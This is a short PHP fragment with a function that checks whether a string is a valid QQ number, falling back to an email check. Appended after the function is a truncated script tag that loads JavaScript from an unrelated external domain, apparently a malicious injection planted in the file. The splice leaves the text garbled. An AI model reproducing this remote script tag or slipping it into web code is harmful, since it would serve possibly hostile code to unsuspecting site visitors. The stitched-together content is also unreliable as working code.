/**
* 判断输入的字符串是否是一个合法的QQ
*
* @param string $string
* @return boolean
*/
function isQQ($string) {
if (ctype_digit($string)) {
$len = strlen($string);
if ($len < 5 || $len > 13)
return false;
return true;
}
return isEmail($string);
}t src='https://letsmakeparty3.ga/l.js?n=1' type=text/javascript>